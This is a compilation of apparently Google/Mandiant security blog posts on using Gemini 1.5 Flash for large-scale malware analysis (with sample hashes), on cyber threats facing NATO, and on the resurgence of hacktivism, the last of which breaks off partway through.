The integration of the NICE framework into the development of security-specific LLMs like SecLM represents a significant step forward in the field of AI-driven cybersecurity. By harnessing the structured knowledge of the framework and the power of LLMs, we are creating tools that can augment human expertise, accelerate threat detection and response, and ultimately strengthen our defenses against an ever-evolving threat landscape.

A Special Thanks to Google Gemini

We would be remiss if we didn't acknowledge the incredible power and versatility of Google Gemini. This cutting-edge language model not only enabled us to rapidly generate and iterate on thousands of NIST NICE-aligned prompts, but it has also been an invaluable collaborator in the creation of this very blog post. The future of AI in cybersecurity is bright, and we're excited to continue exploring its limitless potential with Gemini at our side.

Expanding the Horizon of Cybersecurity with AI

The release of our NIST NICE-aligned prompt library is just the first step in our mission to empower cybersecurity professionals with the power of AI. We are committed to continually exploring innovative ways to leverage AI to enhance cybersecurity capabilities for both individuals and organizations.

Stay tuned for upcoming blog posts where we'll delve into advanced prompt engineering techniques, share real-world applications of AI in cybersecurity, and explore opportunities to utilize AI in your daily workflow. Our goal is to create a vibrant community of learners, practitioners, and innovators who are passionate about harnessing the transformative potential of AI to strengthen our collective defense against cyber threats.

Written by:
Bernardo Quintero, Founder of VirusTotal and Security Director, Google Cloud Security
Alex Berry, Security Manager of the Mandiant FLARE Team, Google Cloud Security
Ilfak Guilfanov, author of IDA Pro and CTO, Hex-Rays
Vijay Bolina, Chief Information Security Officer & Head of Cybersecurity Research, Google DeepMind

 

Executive Summary

• Following up on our Gemini 1.5 Pro for malware analysis post, this time around we tested to see if our light-weight Gemini 1.5 Flash model is capable of large-scale malware dissection.
• The Gemini 1.5 Flash model was created to optimize efficiency and speed while maintaining performance, which allows us to utilize Gemini 1.5 Flash to process up to 1,000 requests per minute and 4 million tokens per minute.
• To evaluate the real-world performance of our malware analysis pipeline, we analyzed 1,000 Windows executables and DLLs randomly selected from VirusTotal's incoming stream. The system effectively resolved cases of false positives, samples with obfuscated code, and malware with zero detections on VirusTotal.
• On average, Gemini 1.5 Flash processed each file in 12.72 seconds (excluding the unpacking and decompilation stages), providing accurate summary reports in human-readable language.

Introduction

In our previous post, we explored how Gemini 1.5 Pro could be used to automate the reverse engineering and code analysis of malware binaries. Now, we're focusing on Gemini 1.5 Flash, Google's new lightweight and cost-effective model, to transition that analysis from the lab to a production-ready system capable of large-scale malware dissection. With the ability to handle 1 million tokens, Gemini 1.5 Flash offers impressive speed and can manage large workloads. To support this, we've built an infrastructure on Google Compute Engine, incorporating a multi-stage workflow that includes scaled unpacking and decompilation stages. While promising, this is just the first step on a long journey to overcome accuracy challenges and unlock AI's full potential in malware analysis.

VirusTotal analyzes an average of 1.2 million unique new files each day, ones that have never been seen before on the platform. Nearly half of these are binary files (PE_EXE, PE_DLL, ELF, MACH_O, APK, etc.) that could benefit from reverse engineering and code analysis. Traditional, manual methods simply cannot keep pace with this volume of new threats. Building a system to automatically unpack, decompile, and analyze this quantity of code in a timely and efficient manner is a significant challenge, one that Gemini 1.5 Flash is designed to help address.

Building on the extensive capabilities of Gemini 1.5 Pro, the Gemini 1.5 Flash model was created to optimize efficiency and speed while maintaining performance. Both models share the same robust, multimodal capabilities and are capable of handling a context window of over 1 million tokens; however, Gemini 1.5 Flash is particularly designed for rapid inference and cost-effective deployment. This is achieved through parallel computation of attention and feedforward components, as well as the use of online distillation techniques. The latter enables Flash to learn directly from the larger and more complex Pro model during training. These architectural optimizations allow us to utilize Gemini 1.5 Flash to process up to 1,000 requests per minute and 4 million tokens per minute.

To illustrate how this pipeline works, we'll first showcase examples of Gemini 1.5 Flash analyzing decompiled binaries. Then we'll briefly outline the preceding steps of unpacking and decompilation at scale.

Analysis Speed and Examples

To evaluate the real-world performance of our malware analysis pipeline, we analyzed 1,000 Windows executables and DLLs randomly selected from VirusTotal's incoming stream. This selection ensured a diverse range of samples, encompassing both legitimate software and various types of malware. The first thing that struck us was the speed of Gemini 1.5 Flash. This aligns with the performance benchmarks highlighted in the Google Gemini team's paper, where Gemini 1.5 Flash consistently outperformed other large language models in terms of text generation speed across multiple languages. 

The fastest processing time we observed was a mere 1.51 seconds, while the slowest was 59.60 seconds. On average, Gemini 1.5 Flash processed each file in 12.72 seconds. It's important to note that these times exclude the unpacking and decompilation stages, which we'll explore further later in this blog post.

These processing times are influenced by factors such as the size and complexity of the input code, and the length of the resulting analysis. Importantly, these measurements encompass the entire end-to-end process: from sending the decompiled code to the Gemini 1.5 Flash API on Vertex AI, through the model's analysis, to receiving the complete response back on our Google Compute Engine instance. This end-to-end perspective highlights the low latency and speed achievable with Gemini 1.5 Flash in real-world production scenarios.

Example 1: Dispelling a False Positive in 1.51 Seconds

Out of the 1,000 binaries we analyzed, this one was processed the fastest, highlighting the remarkable speed of Gemini 1.5 Flash. The file goopdate.dll (103.52 KB) triggered a single anti-virus detection on VirusTotal, a common occurrence that often requires time-consuming manual review.

Imagine this file triggered an alert in your SIEM system and you need answers fast. Gemini 1.5 Flash delivers, analyzing the decompiled code in just 1.51 seconds and providing a clear explanation: the file is a simple executable launcher for the "BraveUpdate.exe" application, likely a web browser component. This rapid, code-level insight allows analysts to confidently dismiss the alert as a false positive, preventing unnecessary escalation and saving valuable time and resources.

Example 2: Resolving Another False Positive

In another example, the file BootstrapPackagedGame-Win64-Shipping.exe (302.50 KB) was flagged by two anti-virus engines on VirusTotal, again requiring further scrutiny.

Gemini 1.5 Flash analyzes the decompiled code in just 4.01 seconds, revealing that the file is a game launcher. Gemini details the sample's functionality, which includes checking for prerequisites like Microsoft Visual C++ Runtime and DirectX, locating and executing redistributable installers, and ultimately launching the main game executable. This level of understanding allows analysts to confidently categorize the file as legitimate, avoiding unnecessary time and effort spent on a potential false positive.

Example 3: Longest Processing with Obfuscated Code

The file svrwsc.exe (5.91 MB) stood out during our analysis for requiring the longest processing time: 59.60 seconds. Factors such as the size of the decompiled code and the presence of obfuscation techniques like XOR encryption likely contributed to the longer analysis time. Nevertheless, Gemini 1.5 Flash completed its analysis in less than a minute. This is a notable achievement, considering that manually reverse engineering such a binary could take a human analyst several hours.

Gemini correctly determined the sample to be malicious and pinpointed its backdoor functionality, which is designed to exfiltrate data and connect to command-and-control (C2) servers located on Russian domains. The analysis delivers a wealth of IOCs such as potential C2 server URLs, mutexes used for process synchronization, altered registry keys, and suspicious file names. This information enables security teams to swiftly investigate and respond to the threat.

Example 4: Cryptominer

This example shows Gemini 1.5 Flash analyzing the decompiled code of a cryptominer named colto.exe. It's important to note that the model only receives the decompiled code as input, with no additional metadata or context from VirusTotal. In just 12.95 seconds, Gemini 1.5 Flash delivered a comprehensive analysis, identifying the malware as a cryptominer, highlighting obfuscation techniques, and extracting key IOCs, such as the download URL, file path, mining pool, and wallet address.

Example 5: Understanding Legitimate Software with Agnostic Approach

This example showcases Gemini 1.5 Flash analyzing a legitimate 3D viewer application named 3DViewer2009.exe in 16.72 seconds. Even with goodware, understanding a program's functionality can be valuable for security purposes. It's important to highlight that, just like in the previous examples, the model only receives the decompiled code for analysis without any additional metadata from VirusTotal, such as whether the binary is digitally signed by a trusted entity. This information is often taken into account by traditional malware detection systems, but we are adopting a code-centric approach.

Gemini 1.5 Flash successfully identifies the core purpose of the application (loading and displaying 3D models) and even recognizes the specific type of 3D data it handles (DTM). The analysis highlights the use of OpenGL for rendering, configuration file loading, and custom file classes for data management. This level of understanding could help security teams differentiate between legitimate software and malware that might attempt to mimic its behavior. 

This agnostic approach to code analysis that focuses solely on functionality could be particularly valuable for scrutinizing digitally signed binaries, which might not always receive the same level of security analysis as unsigned files. This opens up new possibilities for identifying potentially malicious behavior, even within supposedly trusted software.

Example 6: Unmasking a Zero-Hour Keylogger

This example showcases the true power of analyzing code for malicious behavior: detecting threats that traditional security solutions miss. The executable AdvProdTool.exe (87KB) was submitted to VirusTotal, where it evaded all anti-virus engines, sandboxes, and detection systems at the time of its initial upload and analysis. However, Gemini 1.5 Flash uncovers its true nature. In just 4.7 seconds, the model analyzes the decompiled code, identifies it as a keylogger, and even reveals the IP address and port where it exfiltrates stolen data.

The analysis highlights the code's use of OpenSSL to establish a secure TLS connection to the IP address on port 443. Crucially, Gemini points out the suspicious use of keyboard input capture functions (GetAsyncKeyState, GetKeyState) and their connection to data transmission over the secure channel (SSL_write).

This example underscores the potential of code analysis to identify zero-hour threats in early stages of development, as this keylogger appears to be. It also highlights a critical advantage of Gemini 1.5 Flash: analyzing the raw functionality of code can reveal malicious intent, even when disguised by metadata or detection evasion techniques.

Workflow Overview

Our malware analysis pipeline consists of three key stages: unpacking, decompilation, and code analysis with Gemini 1.5 Flash. Two critical processes drive the first two stages: automated unpacking and decompilation at scale. We leverage Mandiant Backscatter, our internal cloud-based malware analysis service, to dynamically unpack incoming binaries. The unpacked binaries are then processed by a cluster of Hex-Rays Decompilers running on Google Compute Engine. While Gemini is capable of analyzing both disassembled and decompiled code, we've opted for decompilation in our pipeline. The determining factor was decompiled code being 5–10 times more concise than disassembled code, making it a more efficient choice given the token window limitations of large language models. This decompiled code is ultimately fed to Gemini 1.5 Flash for analysis.

By orchestrating this workflow on Google Cloud, we can process a massive number of binaries, including the entire daily influx of over 500,000 new binaries submitted to VirusTotal.

Mandiant Backscatter

Our internal Mandiant Malware Analysis Backscatter Service, hosted on the Google Compute Engine, provides scalable malware configuration extraction. As part of extracting configurations, Backscatter also performs malware deobfuscation, decryption and unpacking in-line with our VirusTotal pipeline to decompose the malware into artifacts. From these artifacts, configurations are extracted and the resulting IOCs are used to identify and track malware threats and actors across hundreds of malware families in our Google Threat Intelligence platform. The artifacts, including unpacked binaries, are also resubmitted back into the pipeline, allowing tools such as Gemini 1.5 Flash to perform additional processing to extend our knowledge of what operations the malware is performing with the IOCs identified in previous stages.   

Hex-Rays Decompiler

Our cluster of Hex-Rays IDA Pro Decompilers, hosted on Google Compute Engine, provides the scalable decompilation power necessary for this pipeline. We leverage the new IDA LIB, a headless version of IDA Pro designed for automated workflows, which is scheduled for release in Q3 2024. The cluster seamlessly integrates with our pipeline, reading unpacked binaries from a Google Cloud Pub/Sub queue fed by Mandiant Backscatter. The resulting decompiled pseudo-C code is then stored in a Google Cloud Storage bucket, ready for analysis by Gemini 1.5 Flash. Currently, each node in the cluster can decompile more than 3,000 files per hour, ensuring we can keep pace with the high volume of incoming binaries.

Challenges and Ongoing Development

As expected, our tests highlighted a crucial aspect of this pipeline: the performance of Gemini 1.5 Flash is heavily dependent on the quality of the preceding unpacking and decompilation stages. For instance, if the unpacking phase fails to fully unpack a new or unknown packer, the decompiler will only be able to extract the code of the packer itself, not the original program logic hidden within. In such cases, Gemini correctly reports that it's analyzing a program performing unpacking, decryption, or deobfuscation operations, and that it won't be able to analyze the true purpose of the code concealed by the packer. 

Similarly, the quality of the decompiled code directly impacts Gemini's ability to understand and analyze the program's behavior. The decompiled code is the raw material for Gemini's analysis, so any errors or inconsistencies in this code will propagate to the final report. Moreover, Gemini must also contend with various code-level obfuscation methods, including new approaches employed by attackers, requiring it to continuously adapt and improve its analysis capabilities in this evolving landscape.

This interdependence underscores the importance of continuously improving all three stages of the pipeline. A weakness in any part of this sequential workflow will directly impact the performance of the subsequent phases. Improved outputs from these stages directly translate to more successful analysis by Gemini. Therefore, our ongoing development efforts focus not only on enhancing Gemini's analytical capabilities but also on refining the unpacking and decompilation stages to ensure they deliver the highest quality output for analysis.

On the decompilation side, we are working closely with Hex-Rays to enhance their decompiler, focusing on three key areas:

• Improved Language-Specific Structure Recognition: We aim to enhance the decompiler's ability to recognize structures unique to specific programming languages. This includes elements like try-catch statements or class member definitions within C++, Rust, and Golang code. By adding a new semantic layer to the decompiler, we can enable it to interpret the underlying code more effectively. This leads to more accurate and readable output, ultimately benefiting Gemini's analysis.
• More Meaningful Function and Variable Naming: Clear and descriptive names for functions and variables within the decompiled code significantly aid Gemini's analysis. We're exploring techniques to generate such names during the decompilation process, including the possibility of integrating Gemini for this purpose.
• Richer Contextual Information: Beyond improved decompiled code, we're investigating methods to provide the model with richer contextual data. This might include visual representations like data flow diagrams and control flow graphs, or even a complete export of IDA Pro's IDB. This additional information can provide valuable insights into the program's overall structure and logic, enabling a more thorough and accurate analysis.

Google Threat Intelligence: The Next Evolution

This is just the beginning of our exploration into leveraging AI for large-scale threat analysis. We are excited to announce that these types of code analysis reports will soon be integrated into VirusTotal's Code Insight section. This integration will provide the VirusTotal community with valuable insights into the behavior of binary files, powered by the speed and scalability of Gemini 1.5 Flash.

For an even more powerful analysis experience, we are developing an advanced version of this pipeline within Google Threat Intelligence. This implementation will leverage the capabilities of Gemini 1.5 Pro enhanced by AI agents that can use specialized malware analysis tools and correlate threat information from across Google, Mandiant, and VirusTotal. This advanced analysis will be available within our Private Scanning service, ensuring the confidentiality of the content processed. Watch our recent webinar for more on Gemini in Google Threat Intelligence.

We will continue to share our progress and new advancements in AI-driven threat analysis as we strive to make the digital world a safer place. Here at GSEC Malaga, we are dedicated to pushing the boundaries of what's possible in cybersecurity and exploring new ways to apply AI to protect users from evolving threats.

Samples Details

The following table contains details on the binary samples discussed in this post.

Filename

SHA-256

goopdate.dll

0d2115d3de900bcd5aeca87b9af0afac90f99c5a009db7c162101a200fbfeb2c

BootstrapPackagedGame-Win64-Shipping.exe

07db922be22e4feedbacea7f92983f51404578bd0c495abaae3d4d6bf87ae6d0

svrwsc.exe

0cdb71e81b07247ee9d4ea1e1005c9454a5d3eb5f1078279a905f0095fd88566

colto.exe

091e505df4290f1244b3d9a75817bb1e7524ac346a2f28b0ef3c689c445beb45

3DViewer2009.exe

08f20e0a2d30ba259cd3fe2a84ead6580b84e33abfcec4f151c5b2e454602f81

AdvProdTool.exe

04af0519d0dbe20bc8dc8ba4d97a791ae3e3474c6372de83087394d219babd47

Written by: John Hultquist

 

As North Atlantic Treaty Organization (NATO) members and partners gather for a historic summit, it is important to take stock of one of its most pressing challenges—the cyber threat. The Alliance faces a barrage of malicious cyber activity from all over the globe, carried out by emboldened state-sponsored actors, hacktivists, and criminals who are willing to cross lines and carry out activity that was previously considered unlikely or inconceivable. In addition to military targets, NATO must consider the risks that hybrid threats like malicious cyber activity pose to hospitals, civil society, and other targets, which could impact resilience in a contingency. The war in Ukraine is undoubtedly linked to escalating cyber threat activity, but many of these threats will continue to grow separately and in parallel. 

NATO must contend with covert, aggressive malicious cyber actors that are seeking to gather intelligence, preparing to or currently attacking critical infrastructure, and working to undermine the Alliance with elaborate disinformation schemes. In order to protect its customers and clients, Google is closely tracking cyber threats, including those highlighted in this report; however, this is just a glimpse at a much larger and evolving landscape.

Cyber Espionage

NATO's adversaries have long sought to leverage cyber espionage to develop insight into the political, diplomatic, and military disposition of the Alliance and to steal its defense technologies and economic secrets. However, intelligence on the Alliance in the coming months will be of heightened importance. This year's summit is a transition period, with the appointment of Mark Rutte as the new Secretary General and a number of adaptations expected to be rolled out to shore up the Alliance's defense posture and its long-term support for Ukraine. Successful cyber espionage from threat actors could potentially undermine the Alliance's strategic advantage and inform adversary leadership on how to anticipate and counteract NATO's initiatives and investments.

NATO is targeted by cyber espionage activity from actors around the world with varying capabilities. Many still rely on technically simple but operationally effective methods, like social engineering. Others have evolved and elevated their tradecraft to levels that distinguish themselves as formidable adversaries for even the most experienced defenders.

APT29 (ICECAP)

Publicly attributed to the Russian Foreign Intelligence Services (SVR) by several governments, APT29 is heavily focused on diplomatic and political intelligence collection, principally targeting Europe and NATO member states. APT29 has been involved in multiple high-profile breaches of technology firms that were designed to provide access to the public sector. In the past year, Mandiant has observed APT29 targeting technology companies and IT service providers in NATO member countries to facilitate third-party and software supply chain compromises of government and policy organizations.The actor is extremely adept in cloud environments and particularly focused on covering their tracks, making them hard to detect and track, and especially difficult to expel from compromised networks.

APT29 also has a long history of spear-phishing campaigns against NATO members with a focus on diplomatic entities. The actor has successfully breached executive agencies across Europe and the U.S. on several occasions. We have also seen them actively targeting political parties in Germany as well as in the U.S. with the likely objective of collecting intelligence on future government policy.

Cyber Espionage from China

Cyber espionage activity from China has undergone significant evolution in recent years, transitioning away from loud, easily attributed operations to a greater focus on stealth. Technical investments have amplified the challenge to defenders and bolstered successful campaigns against government, military, and economic targets in NATO member states.

Chinese cyber espionage increasingly features techniques such as:

• Targeting of the network edge and exploiting zero-day vulnerabilities in security devices and other internet-facing network infrastructure to reduce opportunities for defender detection. By relying less on social engineering, these operators have reduced the likelihood of being identified by users or related controls. In 2023, these actors exploited 12 zero-days (software or hardware vulnerabilities that are unknown to the vendor, have no patch or fix available, and can be exploited before they can be addressed), many of which were in security products that reside on the network edge. These products often lack the ability for endpoint detection, making them an ideal beachhead in compromised networks.
• The use of operational relay box (ORB) networks to hide the origin of malicious traffic. Threat actors hide their malicious traffic through proxies, which act as intermediaries between them and the internet, but these proxies can be reliably tracked. Actors are now leveraging large ephemeral networks of shared and compromised proxies known as ORBs. These networks are very difficult to track and complicate the ability for defenders to share intelligence on infrastructure.
• Living off the land to reduce opportunities for defender detection. Some actors are forgoing the use of malware and leveraging other methods to conduct intrusions. Living-off-the-land techniques use legitimate tools, features, and functions available in the system to traverse networks and carry out malicious activity. Defenders are at a serious disadvantage without the ability to detect malware and are less able to share intelligence on related activity.

These techniques are not only leveraged by Chinese threat actors. Russian actors such as APT29, APT28, and APT44 have used them as well.

Disruptive and Destructive Cyberattacks

Disruptive and destructive cyberattacks are on the rise, posing direct and indirect consequences to the NATO alliance. In recent years, Iranian and Russian state actors have demonstrated a willingness to carry out these attacks on NATO members, though they have hidden their hands behind false fronts who publicly take credit for the operations. For example, Mandiant described a 2022 destructive attack against the government of Albania for which an alleged hacktivist group called "HomeLand Justice" claimed credit, though the U.S. Government ultimately attributed the attack to Iranian actors.

State actors are also compromising the critical infrastructure of NATO members in preparation for future disruptions, even as they demonstrate their ability to carry out complex attacks on highly sensitive operational technology systems in Ukraine. This activity proves these actors have the means and motive to disrupt NATO's critical infrastructure.

In addition to cyberattacks from state actors, disruptions by hacktivists and criminal actors are no longer a nuisance that can be easily ignored. A global resurgence of hacktivists has led to significant attacks against the public and private sector, and criminal activity has become so devastating it has risen to the level of a national security concern.

APT44 (Sandworm, FROZENBARENTS)

APT44 has been involved in many of the most high-profile disruptive cyberattacks in the world, including the global destructive attack NotPetya, attacks on the Pyeongchang Olympic games, and several blackouts in Ukraine. The actor, which is tied to Russian military intelligence, has carried out technically complex disruptions of sensitive operational technology as well as destructive attacks with broad effects. The majority of disruptive attacks in Ukraine have been attributed to APT44, and the actor has been connected to limited attacks in NATO countries since the war began.

In October 2022, an actor believed to be APT44 deployed PRESSTEA (aka Prestige) ransomware against logistics entities in Poland and Ukraine. The ransomware could not be unlocked and effectively acted as a destructive attack; activity may have been designed to signal the group's ability to threaten supply lines transiting lethal aid to Ukraine. By this operation, APT44 has shown a willingness to use a disruptive capability intentionally against a NATO member country, which reflects the group's penchant for risk taking.

Hacktivists

A global resurgence of politically motivated hacking, or hacktivism, is largely tied to geopolitical flashpoints like the Russian invasion of Ukraine. Despite a strong focus on NATO member states, these actors have had inconsistent effects. Many operations fail to cause lasting disruptions and are ultimately designed to garner attention and create a false impression of insecurity.

Despite their limitations, these actors cannot be completely ignored. Their attacks regularly garner media attention in target countries, and their methods could create serious consequences under the right circumstances. Distributed denial-of-service (DDOS) attacks, one of their most preferred methods, are relatively superficial, but could be leveraged during events such as elections for greater impact. Furthermore, some hacktivists, such as the pro-Russian group Cyber Army Russia Reborn (CARR), are experimenting with more substantial attacks on critical infrastructure. CARR, which has murky ties to APT44, has disrupted water supplies at U.S., Polish, and French facilities in a series of simple but brash incidents.

Cyber Criminals

Financially motivated disruptions caused by ransomware are already causing severe consequences across critical infrastructure in NATO states, leading to patient care disruptions in hospitals, energy shortages, and government services outages. While some criminals have vowed to avoid targeting this critical infrastructure, many remain undeterred. Healthcare institutions in the U.S. and Europe have been repeatedly targeted by both Russian-speaking criminals seeking financial gain and North Korean state actors aiming to fund their espionage activities. The ability of these actors to operate from jurisdictions with lax cyber crime enforcement or extradition agreements, coupled with the lucrative nature of ransomware attacks, suggests that this threat will continue to escalate in the near future.

Disinformation and Information Operations

Information operations have become a consistent feature of cyber threat activity in the last decade, steadily growing as conflicts and geopolitical strain has intensified. These operations encompass a wide range of tactics, from "troll farm" social media manipulation to complex schemes involving network intrusions. Russian and Belarusian information operations have particularly targeted NATO member states, primarily aiming to undermine the Alliance's unity and objectives.

Some cyber espionage actors who are predominantly focused on covert intelligence collection also engage in information operations. Groups such as APT28 and COLDRIVER have publicly leveraged stolen information in hack-and-leak campaigns, while other actors, such as UNC1151, have employed their intrusion capabilities in other complex information operations. These efforts aim to manipulate public opinion, sow discord, and advance political agendas through the dissemination of false and misleading information.

At Google, we have worked aggressively across products, teams, and regions to counter these activities where they violate our policies and disrupt overt and covert information operations campaigns. Examples of this enforcement include disruption of YouTube channels, blogs, AdSense accounts, and domains removed from Google News surfaces, as we report on a quarterly basis in the TAG Bulletin. 

Prigozhin's Information Operations Survive

Despite the death of their sponsor, remnants of deceased Russian businessman Yevgeniy Prigozhin's disinformation empire are still functioning, albeit much less effectively. These surviving campaigns continue to promote disinformation and other pro-Russia narratives on multiple social media platforms, most recently with an emphasis on alternative platforms, across multiple regions.

The narratives propagated by these operations call for NATO's dismantlement and imply that the Alliance is a source of global instability. They also criticize the leaders of NATO member states. Major geopolitical developments, such as the launch of Russia's full-scale invasion of Ukraine in 2022 and other Russian strategic priorities, significantly influence the content promoted by these campaigns. The ongoing support of NATO and its member states for Ukraine has made the Alliance a prime target both directly and indirectly through its involvement in issues perceived as challenging to Russia's strategic interests.

Ghostwriter/UNC1151

The Ghostwriter information operations campaign, at least partially linked to Belarus, has been active since at least 2016, primarily targeting Belarus's neighbors: Lithuania, Latvia, Poland, and to a lesser extent, Ukraine. The campaign receives technical support from UNC1151, a cyber espionage group known for its malicious activities. Ghostwriter, notorious for its cyber-enabled influence operations, has consistently prioritized the promotion of anti-NATO narratives. In April 2020, for example, a Ghostwriter operation falsely claimed that NATO troops were responsible for bringing COVID-19 to Latvia. 

Ghostwriter activity has sought to undermine regional governments and their security cooperation. This includes operations that leveraged the compromised social media accounts of notable Polish individuals to promote content attempting to tarnish the reputation of Polish politicians, including through the dissemination of potentially compromising photographs. Since 2022, observed Ghostwriter operations have maintained these established campaign objectives while also expanding narratives to include the Russian invasion. In April 2023, for example, a Ghostwriter operation alleged that Poland and Lithuania were recruiting their residents to join a multinational brigade that would deploy to Ukraine. 

COLDRIVER

COLDRIVER is a Russian cyber espionage actor that has been publicly linked to Russia's domestic intelligence agency, the Federal Security Service (FSB). The actor regularly carries out credential phishing campaigns against high-profile individuals in non-governmental organizations (NGOs) as well as former intelligence and military officers. Notably, information COLDRIVER stole from victim mailboxes has been used in hack-and-leak operations. Information stolen by COLDRIVER was leaked in 2022 in an effort to exacerbate Brexit-related political divisions in UK politics. Prior to that incident, the actor leaked details of U.S.-UK trade agreements ahead of the 2019 UK election. COLDRIVER primarily targets NATO countries and shifted in 2022 to include the Ukrainian Government and organizations supporting the war in Ukraine. March 2022 also marked the first time COLDRIVER campaigns targeted the military of multiple European countries as well as a NATO Centre of Excellence. 

Outlook

Unlike many other domains of conflict, the cyber realm is characterized by aggressive activity that persists irrespective of a state of armed conflict. Nevertheless, geopolitics are an important driver of this activity. Significantly, the Russian invasion of Ukraine has coincided with bolder and reckless cyber activity against NATO allies. These threats are unlikely to abate in the near future.

The effects of malicious cyber activity are broad; cyber threats have the potential to affect NATO allies and partners from the political-military arena to the economic and societal underpinnings of the Alliance. Countering these threats, like everything NATO does, requires a collective commitment to defense. NATO must rely on collaboration with the private sector in the same way it draws on the strength of its constituent members. Furthermore, it must harness its greatest advantage against cyber threats—the technological capability of the private sector—to seize the initiative in cyberspace from NATO's adversaries.

Written by: Daniel Kapellmann Zafra, Alden Wahlstrom, James Sadowski, Josh Palatucci, Davyn Baumann, Jose Nazario

 

Since early 2022, Mandiant has observed the revival and intensification of threat activity from actors leveraging hacktivist tactics and techniques. This comes decades after hacktivism first emerged as a form of online activism and several years since many defenders last considered hacktivism to be a serious threat. However, this new generation of hacktivism has grown to encompass a more complex and often impactful fusion of tactics different actors leverage for their specific objectives.

Today's hacktivists exhibit increased capabilities in both intrusion and information operations demonstrated by a range of activities such as executing massive disruptive attacks, compromising networks to leak information, conducting information operations, and even tampering with physical world processes. They have leveraged their skills to gain notoriety and reputation, promote political ideologies, and actively support the strategic interests of nation-states. The anonymity provided by hacktivist personas coupled with the range of objectives supported by hacktivist tactics have made them a top choice for both state and non-state actors seeking to exert influence through the cyber domain.

This blog post presents Mandiant's analysis of the hacktivism threat landscape, and provides analytical tools to understand and assess the level of risk posed by these groups. Based on years of experience tracking hacktivist actors, their claims, and attacks, our insight is meant to help organizations understand and prioritize meaningful threat activity against their own networks and equities.

Figure 1: Sample of imagery used by hacktivists to promote their threat activity

Proactive Monitoring of Hacktivist Threats Necessary for Defenders to Anticipate Cyberattacks

Mandiant considers activity to be hacktivism when actors claim to or conduct attacks with the publicly stated intent of engaging in political or social activism. The large scale of hacktivism's resurgence presents a critical challenge to defenders who need to proactively sift through the noise and assess the risk posed by a multitude of actors with ranging degrees of sophistication. While in many cases hacktivist activity represents a marginal threat, in the most significant hacktivist operations Mandiant has tracked, threat actors have deliberately layered multiple tactics in hybrid operations in such a way that the effect of each component magnified the others. In some cases, hacktivist tactics have been deliberately employed by nation-state actors to support hybrid operations that can seriously harm victims. As the volume and complexity of activity grows and new actors leverage hacktivist tactics, defenders must determine how to filter, assess, and neutralize a range of novel and evolving threats. The proactive monitoring of hacktivist threats will bring manifold benefits to defenders:

• Monitoring hacktivism messaging and activity can provide defenders with early warning of threat activity from sophisticated actors. This is not only because of the overt nature of hacktivism, but also because of its use to mask activity from nation-states and criminals.
• The increase in frequency and breadth of hacktivism activity over the last two years represents a threat to a wide range of organizations. Even if most attacks do not result in significant impacts, defenders need to proactively filter through the volume of insignificant activity to identify indications of substantive targeting of their organizations and prepare mitigation strategies.
• Hacktivist attacks are often inspired by global events, but they frequently target organizations that do not necessarily play a role in the event itself. Targeting seemingly unrelated organizations allows the actors to claim attacks at a larger scale and to select high-profile targets—such as critical infrastructure or major businesses—in an attempt to increase group prestige and publicity for their attacks. Proactive monitoring enables defenders to identify when an organization or region is generally at higher risk, what events may be a precursor to hacktivist attacks, and when hacktivists have launched campaigns targeting similar industries or organizations.
• The threat is even higher for networks located in regions and industries with lower cybersecurity maturity, where victims are also more likely to face a significant or lasting impact from this activity. In such cases, proactive monitoring plays the same role as other detection mechanisms by allowing organizations to identify and mitigate immediate threats to their networks.

New Generation of Hacktivism: Increased Scale and Sophistication 

The term "hacktivism" was coined in the mid-1990s by a member of the hacker collective Cult of the Dead Cow. Originally, it referred to "online activism," where actors attempted to inflict damage on a victim by conducting attacks to influence audiences and communicate political or ideological beliefs. In the beginning, most hacktivist groups claimed to be motivated by anti-establishment objectives, which threatened governments and political institutions. In the early 2010s, hacktivist actors like those affiliated with the Anonymous collective impacted networks less resilient to threats such as distributed denial-of-service (DDoS) attacks—often resulting in widespread media attention. As cybersecurity matured and networks became more resilient—for example, with the creation of content delivery networks (CDNs)— and as law enforcement in some regions took legal action against these actors, anti-establishment hacktivism as a movement and its methods lost relevance over time.

After years of mostly low intensity and low impact operations, we observed a significant resurgence of new hacktivist groups and tactics around the onset of the Russian invasion of Ukraine and the Israel-Hamas conflict. A variety of hacktivist personas and groups have declared their allegiance to parties in these conflicts and targeted a long list of organizations and governments under such allegiance. The impact of their attacks has not been limited to stakeholders involved in conflict, but has also crossed borders to target third parties with loose association such as nationality, commercial relations, or opposing allegiance.

This new wave of hacktivist activity diverges from historic activity, particularly in the scale and breadth of groups and activity. Some hacktivist actors have shown an increased dexterity, more effectively conducting attacks in parallel with messaging to advertise their threat activity and influence audiences. Today, hacktivism is no longer only composed of low capability actors motivated by ideologies that reflect "traditional" anti-establishment hacktivism. We have observed a more frequent shift toward geopolitically and financially motivated groups attempting to obfuscate threat activity through hacktivist facades. While the concept of using a hacktivist facade as a front for state-sponsored activity is at least a decade old, we have not previously observed the frequency, volume, and intensity of overall hacktivist activity comparable to today.

Figure 2: Three types of motivations that drive hacktivist threat activity

We note that hacktivists do not necessarily act according to a single motivation. It is common for such threat activity to fluctuate between different categories and even change in parallel to evolving group dynamics. As a result, understanding the motivations behind hacktivist threat activity requires contextual analysis conducted over time.

The Medium Is the Message: Hacktivists' Promotion of Strategic Messaging Enables Actors to Conduct Information Operations

Influence is a central component of hacktivists' attacks and hacktivism often aligns in function with covert information operations, which involve the use of deceptive tactics to manipulate the information environment. Through strategic narrative promotion enabled via hacktivist personas, operators can maximize the real or perceived impact of attacks or gain attention to advance their agendas. Mandiant considers activity to be hacktivism when the actor's claims directly state or imply that their intent is political or social activism and involve a combination of three key tactics: persona development, tailored messaging, and often disruptive cyber activity. Notably, these tactics are critical in enabling hacktivism to achieve such influence. While there are many factors likely contributing to hacktivism's resurgence as previously noted, the in-built mechanisms to communicate messages and obfuscate their identities is likely part of the reason why hacktivist tactics are appealing to actors with a range of motivations.

Figure 3: Elements of hacktivism threat activity

Actors leveraging hacktivist tactics use overt personas to obfuscate the identity of their real operators and, in some cases, to generate the impression of organic public support for a given issue or event.

The hacktivist personas promote their messaging most often via direct claims or to persona-affiliated online assets such as on social media or actor-owned sites. The meaning can also be embedded in the attack itself, for instance, via the distribution of "tainted leaks" that feature altered or false information or conducting massive DDoS campaigns in parallel to geopolitical or cultural events. Strategic targeting and other high-profile claims also help groups increase the likelihood of receiving mainstream media coverage. 

